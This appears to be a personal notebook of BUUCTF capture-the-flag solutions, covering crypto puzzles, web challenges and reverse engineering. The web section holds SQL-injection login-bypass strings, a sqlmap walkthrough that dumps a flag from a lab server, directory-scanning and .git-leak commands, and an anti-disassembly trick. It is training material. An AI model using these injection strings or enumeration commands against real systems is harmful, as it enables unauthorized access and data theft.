BUUCTF神秘题好多,补补脑洞.
DASBOOK
[第一章][1.4.7 案例解析]BUU BURP COURSE 1
X-Real-IP:127.0.0.1 可能是检查”只能在本地访问”的标志之一.
注意payload一定要空两行,不然发出去什么都收不到.
N1BOOK
[第一章 web入门]常见的搜集
不知道为什么别人用dirsearch扫,爆的快的不行,我自己用dirsearch整天吃429…dirsearch -u http://your-target/ -t 10 --delay=1 限速限线程版
[第一章 web入门]粗心的小李
GitHack神秘工具发力了…python GitHack.py http://xxx.cn/.git/
Real
[PHP]XXE
ref虽然但是这个题直接搜索flag就有了是怎么回事…
Crypto
达芬奇密码
1 | 达芬奇隐藏在蒙娜丽莎中的数字列:1 233 3 2584 1346269 144 5 196418 21 1597 610 377 10946 89 514229 987 8 55 6765 2178309 121393 317811 46368 4181 1 832040 2 28657 75025 34 13 17711 |
这两个都是32长度,考虑置换变换.
然后有人会发现后面的序列就是斐波那契数列,然后就按照那个规律进行置换…
是按照斐波那契数列进行解密的…
这是什么
apk里面包了一段jsfuck,用js+CPH judge跑出来即可.
有的时候解析网站反而会失败,我也不知道为什么
keyboard
1 | ooo yyy ii w uuu ee uuuu yyy uuuu y w uuu i i rr w i i rr rrr uuuu rrr uuuu t ii uuuu i w u rrr ee www ee yyy eee www w tt ee |
这些字母对应着123456789…
然后每个字母出现次数在1-4范围内,联想九键键盘…
然后由于o这个值是9,对应九键键盘中 WXYZ 这一栏,出现三次意味着 X .
这是什么觅🐎
观察题…每周字母有两个,对应的密文也有两个…
那么我们初步认为是查表…
然后得到数字转字母.
[GWCTF 2019]BabyRSA
RSA部分白给,但是明文是按照顺序被拆分成a,b,然后给出 $a+b$ 和 $a^3+b^3$ …1
2
3
4
5
6
7
8
9
10
11from sympy import *
from sympy.abc import a, b, c
c1 = pow(m1, d, n)
c2 = pow(m2, d, n)
res = solve([a + b - c1, pow(a, 3) + pow(b, 3) - c2], [a, b])
f1 = res[0][1]
f2 = res[0][0]
print(cun.long_to_bytes(f1) + cun.long_to_bytes(f2))
上面好像有一个能解方程的好东西.
samemod
bz2 文件,据说也是一种压缩文件.
共模攻击白给.
但是解出来的数字长这样:1
1021089710312311910410111011910111610410511010710511610511511211111511510598108101125
应该按照位置拆分ascii码,怪不得long to bytes解不出来.
[BJDCTF2020]easyrsa
1 | z=Fraction(1,Derivative(arctan(p),p))-Fraction(1,Derivative(arth(q),q)) |
在给出e c n之后额外给出了这个.
ds说 Derivative(f(b),b) 是在函数内对某个东西求导.Fraction(a,b) 的意思是 $\frac ab$ .
浪里淘沙
把获得的单词连在一起提交即可。(我这里有一串数字:4,8,11,15,16)1
tonightsuccessnoticenoticewewesuccesstonightweexamplecryptoshouldwebackspacetonightbackspaceexamplelearnwesublimlearnbackspacetheshouldwelearnfoundsublimsystemexamplesublimfoundlearnshouldmorningsublimsystemuserlearnthecryptomorningexamplenoticetonightlearntonightlearntonightsublimenterusermorningfoundtonightweenterfoundnoticethecryptomorningthebackspacelearntonightlearn...
显然这段文字是由几个单词组成的,所以考虑提取出来.
然后词频统计,给出出现次数第几小的东西.
鸡藕椒盐味
公司食堂最新出了一种小吃,叫鸡藕椒盐味汉堡,售价八块钱,为了促销,上面有一个验证码,输入后可以再换取一个汉堡。但是问题是每个验证码几乎都有错误,而且打印的时候倒了一下。小明买到了一个汉堡,准备还原验证码,因为一个吃不饱啊 验证码如下:1100 1010 0000 ,而且打印的时候倒了一下。把答案哈希一下就可以提交了。 (答案为正确值(不包括数字之间的空格)的32位md5值的小写形式) 注意:得到的 flag 请包上 flag{} 提交
奇偶校验位,海明码,reverse一下,神人题目
[WUSTCTF2020]大数计算
这也是个神人题目,拼好题还搞OSINT.
宇宙终极问题:求 $x,y,z$ 满足方程 $x^{3}+y^{3}+z^{3}=42$
ref
[AFCTF2018]花开藏宝地
门限密码,神秘加密体系.
幸亏直接找脚本了,节省下红温的时间.exp(抄的):1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23a1 =
d1 =
a2 =
d2 =
a3 =
d3 =
dd = d1*d2*d3
t1 = pow(dd//d1,d1-2,d1)
assert(t1*d2*d3%d1 == 1)
t2 = pow(dd//d2,d2-2,d2)
assert(t2*d1*d3%d2 == 1)
t3 = pow(dd//d3,d3-2,d3)
assert(t3*d2*d1%d3 == 1)
s = a1*t1*d2*d3+a2*t2*d1*d3+a3*t3*d1*d2
p =
s %= dd
# print(hex(s))
s %= p
s = hex(s)[2:]
flag = list(bytearray.fromhex(s))
for i in flag:
print(chr(i),end="")
Web
常见文件头
Referer :你从哪个网页过来User-Agent :你使用哪个浏览器X-Forwarded-For :你的原始ip?
常见SQL注入系列
账号:
admin’ or 1=’1
密码:(随便填)
admin’ or 1=’1
SQL转义?(好像转成web题了)
username=\&password=or 1=’1
自动注入系列(SQL大手子)
找注入点1
python sqlmap.py -u http://18a64bdf-b7b2-44a9-8935-83536c6010e4.node4.buuoj.cn:81/index.php?id=1
找所有数据库名1
python sqlmap.py -u http://18a64bdf-b7b2-44a9-8935-83536c6010e4.node4.buuoj.cn:81/index.php?id=1 --dbs
回显:1
2
3
4
5available databases [4]:
[*] information_schema
[*] mysql
[*] note
[*] performance_schema
找某个数据库中的表名(下面是note)1
python sqlmap.py -u http://18a64bdf-b7b2-44a9-8935-83536c6010e4.node4.buuoj.cn:81/index.php?id=1 -D note -tables
回显:1
2
3
4
5
6Database: note
[2 tables]
+-------+
| fl4g |
| notes |
+-------+
找这个列表下的字段1
python sqlmap.py -u http://18a64bdf-b7b2-44a9-8935-83536c6010e4.node4.buuoj.cn:81/index.php?id=1 -D note -T fl4g --columns
回显:1
2
3
4
5
6
7
8Database: note
Table: fl4g
[1 column]
+---------+-------------+
| Column | Type |
+---------+-------------+
| fllllag | varchar(40) |
+---------+-------------+
查看这个东西的1
python sqlmap.py -u http://18a64bdf-b7b2-44a9-8935-83536c6010e4.node4.buuoj.cn:81/index.php?id=1 -D note -T fl4g -C fllllag --dump
回显1
2
3
4
5
6
7
8Database: note
Table: fl4g
[1 entry]
+---------------------------------+
| fllllag |
+---------------------------------+
| n1book{union_select_is_so_cool} |
+---------------------------------+
查看当前数据库名???1
python sqlmap.py -u http://fc37e90a-e533-4b4a-a8bd-7d02eab1fcb1.node5.buuoj.cn:81/backend/content_detail.php?id=1 --current-db
Reverse
[MRCTF2020]Xor
ida不知道为什么插件崩了不能识别call的函数和参数.
解决办法:找到call的那个函数反编译一下,然后就能成功了.
[HDCTF2019]Maze
花指令第一课.1
2
3
4
5
6
7
8
9int main() {
__asm {
jmp label
_emit 0xE8 // 假装是 call,其实是垃圾
label:
xor eax, eax
}
return 0;
}
这样后面的函数可以正常运行,但是IDA会崩,因为 0xE8 被识别为 call ,后面就全乱套了.
为什么asm没事:直接jmp跳过去了.
为什么IDA炸了:IDA在猜每句话的作用,同时尝试还原高级语言,所以是逐句的翻译.
hint:
选住数据按d把命令转换为字节数据.
选住数据开头按p把数据转换为命令数据.
[INSHack2019]Passthru
编辑-首选项-导入TLS key.
然后就可以查看加密的流传输了.